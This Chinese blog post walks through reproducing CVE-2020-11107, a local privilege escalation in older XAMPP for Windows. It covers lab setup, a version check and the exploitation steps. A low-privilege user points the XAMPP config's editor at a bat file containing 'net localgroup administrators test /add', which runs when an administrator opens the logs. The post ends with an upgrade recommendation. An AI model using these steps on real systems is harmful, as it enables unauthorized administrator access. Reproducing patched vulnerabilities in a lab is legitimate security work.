CVE-2020-11107 XAMPP 任意命令执行漏洞复现(用户提权)

本文探讨了XAMPP软件在Windows版本中的安全漏洞,涉及非特权用户可通过配置文件进行恶意代码执行。针对7.2.29以下、7.3.16前、7.4.4前的版本,指导读者如何搭建环境、检测漏洞、利用与修复。
摘要由CSDN通过智能技术生成

XAMPP软件简介

  XAMPP是一个建站集成软件包,一个易于安装且包含 MySQL、PHP 和 Perl 的 Apache 发行版。类似与WampServer,phpstudy,他可以运行在Wndows、Linux、Mac OS等多种操作。XAMPP 的确非常容易安装和使用:只需下载,解压缩,启动,方便渗透测试人员搭建各种web环境。

漏洞描述

  在Windows上的XAMPP 7.2.29之前,7.3.16之前的7.3.x和7.4.4之前的7.4.x中发现了一个问题。非特权用户可以在xampp-contol.ini中为所有用户(包括管理员)更改.exe配置,当恶意用户修改配置后,管理员通过xampp查看日志时,将会执行恶意用户创建的代码。

漏洞影响

Apache Friends XAMPP <7.2.29
Apache Friends XAMPP 7.3.,<7.3.16
Apache Friends XAMPP 7.4.
,<7.4.4

环境搭建

系统:windows 10
xampp 7.2.25-0 链接:https://pan.baidu.com/s/1GLoqlCIzIoXSF_nPToIq1Q 提取码:cgdv

使用管理员权限安装XAMPP且不能安装在C盘,如果我们利用虚拟机搭建漏洞环境,可以在虚拟机设置中添加一块新的硬盘。

在这里插入图片描述

计算机“按右键,在弹出的菜单中点”管理“,再右键空磁盘,新建添加卷。

在这里插入图片描述
然后将xampp安装在C盘以外的盘即可(下图为安装好的页面)

在这里插入图片描述
添加个新用户

net user test /add

在这里插入图片描述

然后注销,切换到我们的新用户即可。

在这里插入图片描述

查看是否存在漏洞

当我们拿到一台低权限用户的系统,发现存在XAMPP时,进入目录,运行可查看XAMPP版本号。

在这里插入图片描述

XAMPP <7.2.29 ,说明存在漏洞。

在这里插入图片描述

漏洞利用

查看当前用户信息,确定不在管理员组。

net user test

在这里插入图片描述
新建一个bat文件在桌面
在这里插入图片描述
添加内容为:

@echo off
net localgroup administrators test /add

在这里插入图片描述

打开xampp,点击config

在这里插入图片描述
选择刚才创建的bat文件,并保存。

在这里插入图片描述

切换回原先管理员用户,以管理员身份运行XAMPP。

在这里插入图片描述

当管理员点击apache或mysql的log查看日志文件时,会有个命令窗口一闪而过。

在这里插入图片描述
再次查看test用户,发现已经加入管理员组了。

在这里插入图片描述

修复建议

目前厂商已经发布了修复改漏洞的新版本,可从http://www.apachefriends.org/download.html下载这些新的安装程序。


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

凝聚力安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值